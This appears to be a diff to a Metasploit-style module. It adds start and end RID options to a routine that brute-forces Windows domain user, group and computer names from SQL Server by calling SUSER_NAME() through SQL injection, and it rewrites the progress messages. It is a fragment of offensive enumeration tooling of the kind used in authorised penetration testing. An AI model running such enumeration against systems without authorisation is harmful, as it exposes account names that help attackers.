@@ -33,12 +33,13 @@ def initialize(info = {})
33
33
34
34
register_options (
35
35
[
36
- OptInt . new ( 'FuzzNum' , [ true , 'Number of principal_ids to fuzz.' , 3000 ] )
36
+ OptInt . new ( 'STARTRID' , [ true , 'RID to start fuzzing at.' , 500 ] ) ,
37
+ OptInt . new ( 'ENDRID' , [ true , 'RID to stop fuzzing at.' , 3000 ] )
37
38
] , self . class )
38
39
end
39
40
40
41
def run
41
- print_status ( "#{ peer } - Grabbing the server and domain name ..." )
42
+ print_status ( "#{ peer } - Grabbing the SQL Server name and domain..." )
42
43
db_server_name = get_server_name
43
44
if db_server_name . nil?
44
45
print_error ( "#{ peer } - Unable to grab the server name" )
@@ -71,7 +72,8 @@ def run
71
72
end
72
73
73
74
# Get a list of windows users, groups, and computer accounts using SUSER_NAME()
74
- print_status ( "#{ peer } - Brute forcing #{ datastore [ 'FuzzNum' ] } RIDs through the SQL Server, be patient..." )
75
+ total_rids = datastore [ 'ENDRID' ] - datastore [ 'STARTRID' ]
76
+ print_status ( "#{ peer } - Brute forcing #{ total_rids } RIDs via SQL injection, be patient..." )
75
77
domain_users = get_win_domain_users ( windows_domain_sid )
76
78
if domain_users . nil?
77
79
print_error ( "#{ peer } - Sorry, no Windows domain accounts were found, or DC could not be contacted." )
@@ -173,10 +175,11 @@ def get_win_domain_users(domain_sid)
173
175
windows_logins = [ ]
174
176
175
177
# Fuzz the principal_id parameter (RID in this case) passed to the SUSER_NAME function
176
- ( 500 ..datastore [ 'FuzzNum' ] ) . each do |principal_id |
177
-
178
+ ( datastore [ 'STARTRID' ] ..datastore [ 'ENDRID' ] ) . each do |principal_id |
179
+ total_rids = datastore [ 'ENDRID' ] - datastore [ 'STARTRID' ]
180
+ rid_diff = ( datastore [ 'ENDRID' ] - ( datastore [ 'ENDRID' ] - principal_id ) ) - datastore [ 'STARTRID' ]
178
181
if principal_id % 100 == 0
179
- print_status ( "#{ peer } - Querying SID #{ principal_id } of #{ datastore [ 'FuzzNum' ] } " )
182
+ print_status ( "#{ peer } - #{ rid_diff } of #{ total_rids } RID queries complete " )
180
183
end
181
184
182
185
user_sid = build_user_sid ( domain_sid , principal_id )
0 commit comments